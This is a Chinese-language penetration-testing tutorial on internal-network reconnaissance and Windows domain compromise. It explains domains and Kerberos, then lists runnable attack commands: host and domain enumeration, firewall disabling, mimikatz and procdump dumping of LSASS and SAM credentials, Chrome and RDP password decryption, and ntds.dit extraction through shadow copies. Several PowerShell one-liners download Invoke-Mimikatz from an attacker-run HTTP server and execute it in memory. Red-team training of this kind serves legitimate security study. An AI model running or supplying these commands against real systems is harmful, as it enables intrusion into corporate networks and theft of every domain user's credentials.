内网信息收集与 Cobalt Strike
目录
一、什么是内网渗透?为什么需要信息收集?
1.1 解释
内网渗透: 获取目标服务器控制权后(比如通过 Web 漏洞拿到 Web 脚本),以此为跳板,对它所在的内网环境进行进一步探索,通过信息收集、权限提升、横向移动等技术,最终控制整个内网(特别是域控制器 DC)的过程。
1.2 核心目标
从"点"到"面"的攻击过程:拿到一台外网服务器 → 摸清内网结构 → 提权拿到 SYSTEM → 抓密码凭证 → 横向移动到域控 → 控制整个域。
1.3 渗透的本质是信息收集
有效的信息收集可以大大缩短渗透测试的时间。当我们通过 Web 漏洞写入一句话脚本控制目标服务器后,需要以该服务器作为跳板,对其内网环境进行渗透。
对于目前的这台主机:所在的网络位置、当前登录的用户、当前用户的权限、操作系统的信息、网络配置信息以及当前主机运行的服务、进程信息等都是未知的。这就需要以当前主机为中心进行信息收集!
1.4 内网基础环境判断
拿到主机后第一件事,判断以下信息:
-
IP、网关、DNS、是否能连通外网
-
网络连接及端口
-
本机 host 文件
-
机器的代理配置
-
是否存在域、域名是什么
分析机器所处位置区域: DMZ 区、办公区、生产区、核心 DB 等
分析机器的角色: 普通 WEB 服务器、开发服务器、文件服务器、代理服务器、DNS 服务器、数据存储服务器等
二、内网基础概念:局域网、工作组、域
2.1 局域网(LAN)
将一定地理区域内的计算机、服务器和其他设备连接起来形成的计算机通信网络。
💡 示例:公司内部网络、校园网、家庭网络、家用 WiFi
2.2 工作组(Work Group)
最常见最简单最普通的资源管理模式,属于"对等网络"架构。网络中的计算机地位平等,分散管理各自的账户与资源,无统一管理者。
特点:
-
默认情况下所有计算机都处在名为
WORKGROUP的工作组中 -
适合网络中计算机不多、对管理要求不严格的情况
-
建立步骤简单,使用起来也很好上手
-
相同组中的不同用户通过对方主机的用户名和密码可以查看对方共享的文件夹,默认共享的是 Users 目录
-
不同组的不同用户通过对方主机的用户名和密码也可以查看对方共享的文件夹
-
工作组不存在真正的集中管理作用,所有计算机都是对等的
✅ 适用场景:电脑数量少的小型网络环境(高校、网吧)
2.3 域(Domain)
具有安全边界的计算机集合。通过"活动目录(AD)"作为中央数据库进行集中管理,所有账户、策略、资源统一由域控制器(DC)分发与管控。
💡 工作组是"分散自治"的小集体,适合灵活的小团队;域是"中央集权"的组织,通过统一的身份验证与策略管理,确保了企业级网络的安全性和可扩展性。
当一个公司或企业的网络规模越来越庞大时(达到几千甚至几万台主机服务器),使用工作组管理会显得比较混乱,所以要使用域环境。
2.4 域的结构
|
概念 |
说明 |
|---|---|
|
单域 |
网络环境中只有一个域 |
|
父域子域 |
为了满足某些需求,需要在一个域中划分出多个域。被划分的域叫父域,划分出来的分支叫子域 |
|
域树 |
多个域通过建立信任关系组成的一个域集合 |
|
域林 |
由一个或多个没有形成连续名字空间的域树组成的集合 |
2.5 域控(DC)
"域"模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫,称为 域控制器(Domain Controller,简写为 DC)。
域控制器中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。当电脑联入网络时,域控制器首先要鉴别这台电脑是否是属于这个域的,用户使用的登录账号是否存在、密码是否正确。如果以上信息有一样不正确,那么域控制器就会拒绝这个用户从这台电脑登录。
2.6 内网域用户的特性
-
域成员计算机在登录的时候可以选择登录到域中或此计算机
-
登录到域中的时候,身份验证是采用 kerberos 协议在域控制器上进行的
-
登录到域成员的主机都受到域控的管理。域控制器可以登录域内任意一台主机
-
登录到本地计算机的时候,是采用 SAM 来进行 NTLM 验证的
-
域内用户的所有行为和操作都是受到域控主机的管理(用户登录、修改密码、安装软件、上网行为 ……)
2.7 域环境的优势
|
优势 |
说明 |
|---|---|
|
帐号集中管理 |
所有帐号均存在服务器上,方便对帐号的重命名 /重置密码 |
|
软件集中管理 |
统一推送软件,统一安装网络打印机等 |
|
环境集中管理 |
利用 AD 可以统一客户端桌面、IE、TCP/IP 等设置 |
|
增强安全性 |
统一部署杀毒软件和扫毒任务,集中化管理用户权限、统一制订密码策略 |
|
更可靠 |
更少的宕机时间,利用群集、负载均衡等技术进行容灾设定 |
2.8 一个经典域渗透场景
某个域用户需要使用 Visio 软件进行绘图操作,于是联系管理员安装软件。管理员使用域管理员身份登录了域成员主机,帮助他安装了 Visio 软件。于是这个有一定计算机基础的员工,使用本地计算机的管理员身份执行 mimikatz(此命令是针对 Windows 系统获取密码),从内存中抓取了域管理员的密码,成功使用域管理员账号控制了整个域。
原因: 生产环境中域控管理员的账号具有权限可以登录任意一台域内的主机和服务器,而域用户权限较低无法在域成员主机上安装软件。管理员登录过的主机内存中会残留管理员的凭据。
三、域渗透核心思路(六步走)
┌──────────────────────────────────────────────────────────────┐
│ │
│ ① 立足点 │
│ 在外网寻找突破口,获取任意一台域成员主机的初始控制权 │
│ │ │
│ ▼ │
│ ② 信息收集 │
│ 在受控主机上进行内网探测,找出域控制器 IP、域管账户 │
│ 及网络拓扑等关键信息 │
│ │ │
│ ▼ │
│ ③ 权限提升 │
│ 利用系统漏洞或配置缺陷,将权限提升至本地管理员或 SYSTEM │
│ │ │
│ ▼ │
│ ④ 凭证获取 │
│ 利用高权限读取内存或文件,抓取域管理员的明文密码或哈希值 │
│ │ │
│ ▼ │
│ ⑤ 横向移动 │
│ 复用获取的域管凭证,通过协议登录并控制域内更多主机 │
│ │ │
│ ▼ │
│ ⑥ 控制域控 │
│ 攻击最终目标,登录并接管域控制器(DC),掌控整个域 │
│ │
└──────────────────────────────────────────────────────────────┘
💡 信息收集贯穿始终,是实现攻击目标的基石。
四、Kerberos 认证流程(域核心原理)
本节是域环境的核心原理,理解了 Kerberos 才能真正理解黄金票据、白银票据等后续技术。
4.1 Kerberos 是什么
Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。该认证过程的实现:
-
不依赖于主机操作系统的认证
-
无需基于主机地址的信任
-
不要求网络上所有主机的物理安全
-
并假定网络上传送的数据包可以被任意地读取、修改和插入数据
Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。
4.2 参与认证的三个角色
|
角色 |
全称 |
说明 |
|---|---|---|
|
Client |
客户端 |
发起访问请求的用户/主机 |
|
Server |
服务器 |
Client 想要访问的服务或服务器 |
|
KDC |
Key Distribution Center(密钥分发中心) |
= DC(域控制器)= AD(账户数据库)+ AS(认证服务)+ TGS(票据授予服务) |
💡 从物理层面看,AD 与 AS、TGS、KDC 均为域控制器(Domain Controller)。
4.3 核心概念
|
概念 |
全称 |
说明 |
|---|---|---|
|
票据(Ticket) |
Ticket |
网络对象互相访问的凭证 |
|
AD |
Account Database |
存储域中所有用户的用户名和对应的 NTLM Hash,相当于域中的 SAM 数据库。KDC 可从 AD 中提取所有用户的 NTLM Hash |
|
KDC |
Key Distribution Center |
密钥分发中心,负责管理票据、认证票据、分发票据,里面包含 AS 和 TGS 两个服务 |
|
AS |
Authentication Server |
身份认证服务,为 Client 生成 TGT 的服务,用来完成对 Client 的身份验证 |
|
TGS |
Ticket Granting Server |
票据授予服务,为 Client 生成允许对某个服务访问的 Ticket |
|
TGT |
Ticket Granting Ticket |
用来生成 Ticket 的 Ticket,由 AS 授予的票据(黄金票据),存储在内存,默认有效期 10 小时 |
重要注意:
Client 密钥、TGS 密钥和 Service 密钥均为对应用户的 NTLM Hash
TGS 密钥 = KDC Hash = krbtgt 用户的 NTLM Hash
Server 和 Service 可以当作同一个东西,就是 Client 想要访问的服务器或服务
Sessionkey 是客户端与 TGS 服务和 Server 之间会话时用来加密的密钥,而 NTLM Hash 是用来加密会话密钥的密钥(对称加密)
4.4 Kerberos 认证流程
┌─────────┐ ┌─────┐ ┌─────────┐
│ Client │ │ KDC │ │ Server │
└────┬────┘ └──┬──┘ └────┬────┘
│ │ │
│ ① 请求访问 Server │ │
│ ──────────────────────────> │ │
│ │ │
│ ② AS 验证 Client 身份 │ │
│ (从 AD 查找用户) │ │
│ │ │
│ ③ 返回 TGT 给 Client │ │
│ <────────────────────────── │ │
│ │ │
│ ④ 携带 TGT 请求访问 Server │ │
│ ──────────────────────────> │ │
│ │ │
│ ⑤ TGS 验证 TGT │ │
│ 生成访问 Server 的 Ticket│ │
│ │ │
│ ⑥ 返回 Ticket 给 Client │ │
│ <────────────────────────── │ │
│ │ │
│ ⑦ 携带 Ticket 访问 Server │ │
│ ────────────────────────────────────────────────────────> │
│ │ │
│ │ ⑧ Server 验证 Ticket │
│ │ │
│ ⑨ 访问成功 │ │
│ <─────────────────────────────────────────────────────── │
总结:
-
Client 向 KDC 发起服务请求,希望获取访问 Server 的权限
-
KDC 从 AD 数据库中判断 Client 是否可信赖(AS 服务的工作),成功后 AS 返回 TGT 给 Client
-
Client 得到 TGT 后,继续向 KDC 请求访问 Server 的权限
-
KDC 通过 Client 消息中的 TGT,判断 Client 拥有权限,给 Client 访问 Server 的 Ticket(TGS 服务的工作)
-
Client 得到 Ticket 后便可以使用它访问 Server,但这个 Ticket 只能用来访问这个 Server,访问其他 Server 需要重新申请
💡 TGT(黄金票据)和 TGS Ticket(白银票据)的区别:
TGT 是 AS 颁发的,用来换取具体服务 Ticket 的"通行证"
TGS Ticket 是 TGS 颁发的,用来访问具体服务的"门禁卡"
五、本机信息收集
本机信息收集包括:操作系统、权限、内网 IP 地址段、杀软、端口、服务、补丁情况、网络环境情况、共享、会话等。
⚠️ 如果是域内主机,操作系统、应用软件、补丁、服务、杀软一般都是批量安装的。
5.1 用户与权限信息
# 查看当前用户以及所处用户组、所拥有的特权等信息
whoami /all
# 目的:判断是否需要提升权限
# 查看当前权限
whoami && whoami /priv
# 查看本机用户列表
net user
# 获取本地管理员信息
net localgroup administrators
# 查看当前在线用户
quser
query user
query user | qwinsta
# 查看当前机器中所有的组名(了解不同组的职能,如 IT、HR、ADMIN、FILE)
net localgroup
5.2 系统信息收集
# 查询网络配置信息,进行 IP 地址段信息收集
ipconfig /all
# 查询操作系统及软件信息
# 英文系统:
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
# 中文系统:
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
# 查看当前系统版本
wmic OS get Caption,CSDVersion,OSArchitecture,Version
# 查询系统体系结构
echo %PROCESSOR_ARCHITECTURE%
# 查询本机服务信息
wmic service list brief
# 查看安装的软件的版本、路径
wmic product get name, version
# 或使用 PowerShell:
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"
# 查询进程信息
tasklist
wmic process list brief
# 查看启动程序信息
wmic startup get command,caption
# 查看计划任务
# Win10 之前的系统:
at
# Win10 之后的系统:
schtasks /query /fo LIST /v
# 查看主机开机时间
net statistics workstation
# 列出或断开本地计算机与所连接的客户端的对话
net session
# 查看自启动程序信息(过滤程序名、命令、路径、所属用户)
wmic startup get caption,command,location,user
查看杀毒软件:
# 获取杀软名
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
# 获取杀软名和安装路径
WMIC /namespace:\\root\SecurityCenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe
💡 wmic 是微软为 Windows 管理规范提供的一个命令行工具,提供从命令行接口和批处理脚本执行系统管理的支持。
5.3 网络信息收集
# 查看补丁列表
systeminfo | findstr KB
# 查看补丁的名称、描述、ID、安装时间等
wmic qfe get Caption,Description,HotFixID,InstalledOn
# 查看本地密码策略
net accounts
# 查看 hosts 文件
# Linux:
cat /etc/hosts
# Windows:
type c:\Windows\system32\drivers\etc\hosts
# 查看 DNS 缓存
ipconfig /displaydns
# 查看本机所有的 TCP、UDP 端口连接及其对应的 PID
netstat -ano
# 查看指定端口(如 445)
netstat -ano | findstr 445
# 查看端口连接对应的发起程序
netstat -anob
# 查看路由表和 ARP 缓存
route print
arp -a
# 查看本机共享列表和可访问的域共享列表(445 端口)
net share
wmic share get name,path,status
# 磁盘映射(IPC 连接)
# 如果能收集到相关凭据信息(账号密码),可以凭借如下命令发起连接
net use k:\\目标IP地址\c$
# 查看远程连接信息
cmdkey /l
5.4 防火墙与代理信息
# 关闭防火墙(Windows Server 2003 以前的版本)
netsh firewall set opmode disable
# 关闭防火墙(Windows Server 2003 以后的版本)
netsh advfirewall set allprofiles state off
# 查看防火墙配置(netsh 命令也可以用作端口转发)
netsh firewall show config
# 查看配置规则
netsh advfirewall firewall show rule name=all
# 查看代理信息
REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer
REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL
5.5 WiFi 密码收集
# 查看 WiFi 连接记录
netsh wlan show profile
# 查看具体 WiFi 的密码("302" 为 WiFi 名称)
netsh wlan show profile name="302" key=clear
5.6 回收站内容获取
# 遍历回收站内容
FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b C:\$Recycle.Bin\%d\ ^>%c.txt
回收站文件说明:
-
目录路径:
C:\$Recycle.Bin -
$I开头的文件保存的是路径信息 -
$R开头的文件保存的是文件内容
5.7 Chrome 历史记录与 Cookie
Chrome 的用户信息保存在本地 SQLite 数据库格式文件中:
浏览器存放 cookie 值和路径:
%localappdata%\google\chrome\USERDA~1\default\LOGIND~1
%localappdata%\google\chrome\USERDA~1\default\cookies
使用 mimikatz 获取 Chrome 密码:
# 获取登录数据
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\LOGIND~1" exit
# 获取 cookies
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
5.8 MSF 自动化信息收集
当取得一条 MSF 会话之后,可以直接调用 MSF 中的相关信息收集模块进行自动化信息收集:
# 信息收集脚本
run scraper
# 结果保存在:/root/.msf4/logs/scripts/scraper
# Windows 枚举脚本
run winenum
# 结果保存在:/root/.msf4/logs/scripts/winenum
六、域内信息收集
⚠️ 注意:只有域用户才有权限执行域内查询操作。计算机本地用户除非提升为本地系统权限,否则只能查询本机信息。
6.1 判断是否存在域环境
# 查看当前计算机名、用户名、系统版本、工作站、登录的域等信息
net config workstation
# 输出当前域的时间(可用于判断当前用户是否处于域环境)
net time /domain
# 返回所有域的用户信息
net user /domain
# 查询域
net view /domain
# 查询域内的所有计算机
net view /domain:mingy
💡 等等,很多命令都能够判断出是否处于域环境。
6.2 域用户与用户组信息
# 查看所有的域用户
net user /domain
# 查看指定域用户的详细信息
net user <username> /domain
# 例:net user boss /domain
# 列出域内所有的用户组(Enterprise Admins 组权限最大)
net group /domain
# 查询域用户组,列出所有的域用户
net group "domain users" /domain
# 查询域管理员用户组和域管用户
net group "domain admins" /domain
# 查询企业系统管理员组,列出所有的企业系统管理员用户
net group "Enterprise Admins" /domain
# 登录本机的域管理员
net localgroup administrators /domain
⚠️ 重要: 在默认情况下,Domain Admins 组和 Enterprise Admins 组中的用户对域内所有域控制器和域成员主机拥有完全控制权限。
6.3 域密码策略
net accounts /domain
# 可以根据密码策略构造字典,爆破域内其他机器
6.4 定位域控
# 查看域控制器,列出所有域控制器的主机名
net group "domain controllers" /domain
# 在域环境中,主域控制器会同时被用作时间服务器
# 通过查询时间服务器来找到主域控制器的名称
net time /domain
# 通过前面步骤知道主域控制器之后,对主机名执行 ping 命令
# 根据返回内容即可知道目标主机在内网中的 IP 地址
ping OWA2010CN-GOD.god.org
# 如果发现返回 IPv6 地址,可加 -4 参数指定返回 IPv4 地址
ping OWA2010CN-GOD.god.org -4
# 查看所有的 IP 地址配置信息(可根据返回值判断是否处于域环境)
ipconfig /all
# 域控制器往往在域内同时会用作 DNS 服务器
# 所以查看当前主机的 DNS 服务器地址也可以定位域控
# 查看当前域内的主域控(仅限 Win2008 及之后的系统)
netdom query pdc
6.5 域信任关系
域信任用于多域环境中的跨域资源共享。一般情况下一个域用户只能访问本域内的资源无法跨域访问其他域的资源,而要想跨域访问就需要建立域信任。
# 查询当前主机所在域和其他域的信任关系
nltest /domain_trusts
# 查看域控制器的机器名
nltest /DCLIST:GOD
6.6 dsquery 工具查询
⚠️ dsquery 工具一般在域控上才有。
# 查看当前域内的所有机器
dsquery computer
# 查看当前域中的所有账户名
dsquery user
# 查看当前域内的所有组名
dsquery group
# 查看到当前域所在的网段(结合 nbtscan 使用)
dsquery subnet
其他域信息查询:
# 查看域内邮件服务器
nslookup -q=mx god.com
# 查看域内 DNS 服务器
nslookup -q=ns god.com
💡 域控的 distinguished name:
CN=DC,OU=Domain Controllers,DC=hack7,DC=local
七、内网存活探测
💡 只有找到不同网段才能进行横向渗透,否则只能纵向提权。
7.1 NetBIOS 协议探测
NetBIOS 简介: NetBIOS(网络基本输入输出系统)是一种应用程序接口(API),最初由 Sytec Inc. 为 IBM 在 1983 年开发。它提供了一种在局域网内不同计算机上运行的程序之间进行通信和数据共享的方法。
NetBIOS 允许计算机通过 WINS 服务、广播或 Lmhost 文件等多种方式将 NetBIOS 名称解析为相应的 IP 地址,使得几乎所有的局域网都在 NetBIOS 协议的基础上工作。
扫描方法:
# nmap 扫描
nmap -sU -T4 --script nbstat.nse -p137 10.0.0.0/24
# MSF 扫描
use auxiliary/scanner/netbios/nbname
# Windows:
nbtscan.exe -m 10.0.0.0/24
nbtstat -n
# Linux:
nbtscan -r 10.0.0.0/24
nbtscan 工具下载: nbtscan - NETBIOS nameserver scanner
输出结果第一列为 IP 地址,第二列为机器名和所在域的名称,第三列为机器所开启的服务列表。
7.2 ICMP 协议探测
ICMP 协议简介: ICMP(Internet Control Message Protocol)是 TCP/IP 协议族的一个子协议,用于在 IP 主机、路由器之间传递控制消息(网络通不通、主机是否可达、路由是否可用等)。
常见应用:Ping 命令、Tracert 命令都是基于 ICMP 协议工作的。
CMD 下扫描内网 C 段存活主机:
# 命令行直显:
for /l %i in (1,1,255) do @ ping 10.0.0.%i -w 1 -n 1|find /i "ttl="
# 输出内容导出:
@for /l %i in (1,1,255) do @ping -n 1 -w 40 10.0.0.%i & if errorlevel 1 (echo 10.0.0.%i>>c:\a.txt)else (echo 10.0.0.%i >>c:\b.txt)
7.3 UDP 协议探测
UDP 协议简介: UDP(User Datagram Protocol)是 OSI 参考模型中一种无连接的传输层协议,提供面向事务的简单不可靠信息传送服务。
|
优点 |
缺点 |
|---|---|
|
传输速度快(无 TCP 的握手、确认、窗口等机制) |
不可靠,容易丢包 |
|
资源消耗少,程序结构简单 |
不保证数据包顺序、不重复、不丢失 |
扫描方法:
# nmap 扫描
nmap -sU -T4 -max-retries 1 10.0.0.0 -p 500
# MSF 扫描:
use auxiliary/scanner/discovery/udp_probe
use auxiliary/scanner/discovery/udp_sweep
# Linux 下推荐使用 unicornscan:
unicornscan -mU 10.10.10.0/24
7.4 ARP 协议探测
ARP 协议简介: ARP(Address Resolution Protocol,地址解析协议)是将 IP 地址解析为以太网的 MAC 地址(物理地址)的协议。
在局域网中,当主机有数据要发送给另一台主机时,它必须知道对方的网络层地址(IP 地址)。但仅有 IP 地址是不够的,因为 IP 数据报文必须封装成帧才能通过物理网络发送,发送站还必须有接收站的物理地址,ARP 就是实现这个功能的协议。
扫描方法:
# nmap 扫描
nmap -sn -PR 10.0.0.0/24
# MSF 扫描
use auxiliary/scanner/discovery/arp_sweep
# arp-scan(Linux):
arp-scan -interface=eth0 --localnet
# arp-scan(Windows):
arp-scan.exe -t 10.10.10.0/24
arp-scan 下载地址:
7.5 SMB 协议探测
SMB 协议简介: SMB(Server Message Block)用于共享文件、共享打印机、共享串口等用途。
我们之所以能够在 Windows 的网络邻居下访问一个域内的其他机器,就是通过这个协议实现的。Windows 系统都充当着 SMB 协议的客户端和服务器。
SMB 协议端口: 基于 TCP-NETBIOS,一般端口使用为 139、445。
# MSF 扫描
use auxiliary/scanner/smb/smb_version
7.6 扫描工具汇总
F-NAScan:
-
-h必要参数,支持 IP、IP 段、IP 范围指定、IP 列表文件 -
-p指定要扫描端口列表,多个端口使用逗号隔开,例如:22,23,80,3306 -
-m指定线程数,默认 100 线程 -
-t指定 HTTP 请求超时时间,默认为 10 秒 -
-n不进行存活探测(ICMP)直接进行扫描
MSF 中的 portscan 模块:
use auxiliary/scanner/portscan/tcp
💡 网段信息收集途径总结:
内网网段扫描
文件共享、FTP 连接记录、浏览器访问记录、mstsc 连接记录
渗透路由器、交换机
八、Windows Hash 与本地认证
8.1 Hash 分类(LM / NTLM)
所谓哈希(hash),就是使用一种加密函数进行计算后的结果。这个加密函数对一个任意长度的字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串。
Windows 系统使用两种方法对用户的密码进行哈希处理:
|
类型 |
全称 |
说明 |
|---|---|---|
|
LM 哈希 |
LAN Manager Hash |
密码最大长度为 14 位 |
|
NTLM 哈希 |
NT LAN Manager Hash |
密码长度超过 14 位时使用 |
现在已经有了更新的 NTLMv2 以及 Kerberos 验证体系。
Windows Hash 密码格式:
用户名称:RID:LM-HASH值:NT-HASH值
查看当前系统用户的 SID 值等信息:
whoami /all
wmic useraccount
wmic useraccount list brief
Python 计算 NTLM Hash:
pip3 install passlib
from passlib.hash import nthash
print(nthash.hash('hello'))
8.2 Windows 本地认证流程
┌─────────────────────────────────────────────────────────┐
│ │
│ 1. 用户输入密码 │
│ │ │
│ ▼ │
│ 2. 系统将密码计算成 NTLM Hash │
│ │ │
│ ▼ │
│ 3. 与 SAM 数据库中的哈希比对 │
│ (%SystemRoot%\system32\config\sam) │
│ │ │
│ ▼ │
│ 4. 匹配则登录成功,不匹配则登录失败 │
│ │
└─────────────────────────────────────────────────────────┘
💡 关键点:
NTLM 哈希是一种单向哈希算法,Windows 将用户密码计算成 NTLM Hash 之后才存储在电脑中
本地认证中用来处理用户输入密码的进程为 lsass.exe
密码会在这个进程中明文保存,供该进程将密码计算成 NTLM Hash 与 SAM 进行比对
我们使用 mimikatz 获取的明文密码,便是在这个进程中读取到的
相关介绍:
九、凭证获取方式大全
💡 获取 Windows 密码凭证的目的:
便于横向和纵向渗透
如果能得到远程的 RDP 连接密码,做起横向渗透会更加容易拿到 shell
最大化利用权限和扩大战果
域中的账户密码采用集中管理,一旦拿到域控,就可以拿到域中所有用户的口令
⚠️ 以下操作大多需要管理员权限。
9.1 Mimikatz(最经典)
⚠️ debug 模式需要管理员身份才能运行,因此调用 mimikatz 工具需要使用管理员权限。
本地非交互式凭证获取:
mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
获取 Hash 值:
privilege::debug
token::elevate
lsadump::sam
获取明文密码:
privilege::debug
sekurlsa::logonpasswords
9.2 PowerShell 脚本加载
Invoke-Mimikatz 脚本:
-
下载地址:https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1
-
备用:https://raw.githubusercontent.com/Mr-xn/Penetration_Testing_POC/master/tools/Invoke-Mimikatz.ps1
# Kali 开启 HTTP 服务
python3 -m http.server
# PowerShell 远程加载 mimikatz 脚本
powershell IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.9:8000/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds
# 使用 powershell 去远程请求下载 Invoke-Mimikatz.ps1 脚本
# 通过 IEX 向系统申请内存然后运行该脚本
Get-PassHashes 脚本:
powershell IEX(new-object net.webclient).downloadstring('http://10.0.0.9:8000/Get-PassHashes.ps1');Get-PassHashes
9.3 WCE
WCE(Windows Credentials Editor) 是跟 mimikatz 齐名的一款 hash 管理工具。
-
32 位下载:https://www.ampliasecurity.com/research/wce_v1_42beta_x32.zip
-
64 位下载:https://www.ampliasecurity.com/research/wce_v1_42beta_x64.zip
-
历史版本:Amplia Security - Research - Windows Credentials Editor (WCE)
9.4 Pwddump7
这款工具可以读取出当前系统的各个用户的密码 hash(包括 LM 和 NTLM)。
# 在命令行输入即可读取 hash 并显示,也可保存到文件中
Pwddump7.exe > pass.txt
9.5 Ophcrack(彩虹表破解)
如果网站无法破解出 hash 值,可以使用 ophcrack 工具配合彩虹表自动破解。
9.6 Procdump + Mimikatz
-
Procdump 下载:ProcDump - Sysinternals | Microsoft Learn
Procdump 导出 lsass 进程:
# 32 位系统
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# 64 位系统
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
使用 mimikatz 还原密码:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
9.7 注册表导出 Hash
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv
导出后可以使用 cain 导入 system.hiv、security.hiv 获取缓存中的明文信息。
# mimikatz 离线读取
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit
# impacket secretsdump 离线读取
python secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL
9.8 LaZagne(浏览器/应用密码)
LaZagne 可用于抓取浏览器、邮件客户端、数据库等各种应用软件保存的密码。
9.9 Meterpreter 获取 Hash
# Hashdump(需要 system 权限的 meterpreter)
use post/windows/gather/hashdump
set session 1
exploit
# 结果保存在 tmp 目录下
# smart_hashdump
use post/windows/gather/smart_hashdump
set session 1
exploit
# Mimikatz 模块
mimikatz_command -h # 查看帮助
mimikatz_command -f :: # 查询有哪些模块
mimikatz_command -f samdump::hashes # 从 sam 文件读取密码 hash
mimikatz_command -f sekurlsa::searchPasswords # 获取明文密码
mimikatz_command -f samdump::bootkey
9.10 Cobalt Strike 获取 Hash
hashdump
logonpasswords
mimikatz sekurlsa::logonpasswords
十、RDP 连接记录与密码获取
在获取内网机器管理员权限后,查看是否有保存到本地的 RDP 连接密码。对保存到本地的 RDP 连接密码进行解密,成功后可使用此凭据继续横向移动。
10.1 获取 RDP 连接记录
PowerShell 脚本获取 RDP 连接记录:
# 收集当前系统的 RDP 连接记录,判断目标网络结构
powershell -exec bypass .\ListAllUsers.ps1
查看本地连接过的目标机器:
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
查看本地是否有 RDP 密码文件:
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
查看保存在本地的远程主机信息:
cmdkey /list
10.2 解密 RDP 密码
Step 1:使用 mimikatz 查看密码文件
# 管理员身份启动 mimikatz
privilege::debug
dpapi::cred /in:C:\Users\10758\AppData\Local\Microsoft\Credentials\E3A95C942239A23E8F24ACFB99C83662
💡 此处需要记录下
guidMasterKey的值,待会要通过 guidMasterKey 找对应的 MasterKey。
Step 2:根据 guidMasterKey 找到对应的 MasterKey
sekurlsa::dpapi
Step 3:通过 MasterKey 解密 pbData 数据,拿到明文 RDP 密码
dpapi::cred /in:C:\Users\10758\AppData\Local\Microsoft\Credentials\E3A95C942239A23E8F24ACFB99C83662 /masterkey:bf8240e1231b659aed422b32d53b4099c45f6bdcf9532af1dd43ac1cdab7d20dc2bfdc7ba6b717c3b1d50aa848edf5cc59dce9378db9d2362a487681a4157803
十一、PPTP/VPN 口令获取
PPTP 是什么: PPTP(Point-to-Point Tunneling Protocol)是一种用于创建虚拟私人网络(VPN)的协议,它允许远程用户通过公共网络安全地访问私人网络。
在渗透测试中,如果获得了用户的 PPTP 口令,就能远程拨入内网,做进一步渗透。需要拿到目标系统管理员权限。
11.1 获取 PPTP 配置信息
type %APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk
可获得 PPTP 连接的配置信息,包括服务器 IP,不包含连接用户名和口令。
11.2 mimikatz 获取 PPTP 密码
mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
11.3 命令行连接/断开 VPN
# 连接 VPN
rasdial "VPN111" admin admin123
# 断开 VPN 连接
rasphone -h "VPN111"
十二、域内用户凭据获取(ntds.dit 提取)
12.1 文件位置与作用
ntds.dit 是活动目录数据库,包括有关域用户、组和组成员身份的信息。它还包括域中所有用户的密码哈希值。
为了保护密码哈希值,使用存储在 SYSTEM 注册表配置单元中的密钥对这些哈希值进行加密。因此想要破解 sam 文件与 ntds.dit 文件都需要拥有一个 system 文件。
AD DS 数据存储:
-
由 ntds.dit 文件构成
-
默认存储在所有域控制器上的
%SystemRoot%\NTDS文件夹中 -
只能通过域控制器进程和协议访问
关键文件位置:
ntds.dit 文件位置:%SystemRoot%\NTDS\NTDS.dit
system 文件位置:%SystemRoot%\System32\config\SYSTEM
sam 文件位置:%SystemRoot%\System32\config\SAM
⚠️ 由于 Windows 阻止对这些文件的标准读取或复制操作,因此必须使用特殊技术来获取副本。
12.2 Volume Shadow Copy 简介
Volume Shadow Copy Service 是微软从 Windows XP 开始提供的用于创建一致性的时间点副本(也就是快照)的服务框架。
作用:
-
用于数据备份
-
支持 Windows Server 2003 及以上操作系统
-
系统默认在特定条件下自动创建数据备份,如补丁安装后。在 Win7 系统大概每隔一周自动创建备份
-
禁用 VSS 会影响系统正常使用,如 System Restore 和 Windows Server Backup
12.3 Ntdsutil 方式
Ntdsutil.exe 是一个为 Active Directory 提供管理设施的命令行工具,域环境默认安装。支持系统:Server 2003、Server 2008、Server 2012。
交互式操作:
ntdsutil
snapshot
activate instance ntds
create
mount [GUID]
# copy 完之后再执行卸载
unmount [GUID]
del [GUID]
quit
完整流程(非交互式):
# 1. 查询当前系统的快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit
# 2. 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
# 3. 挂载快照
ntdsutil snapshot "mount {457fd83a-8e81-45e6-954b-ebe6a8a9328e}" quit quit
# 4. 复制 ntds.dit 文件
copy C:\$SNAP_202408272046_VOLUMEC$\Windows\NTDS c:\ntds2.dit
# 5. 卸载快照
ntdsutil snapshot "unmount {457fd83a-8e81-45e6-954b-ebe6a8a9328e}" quit quit
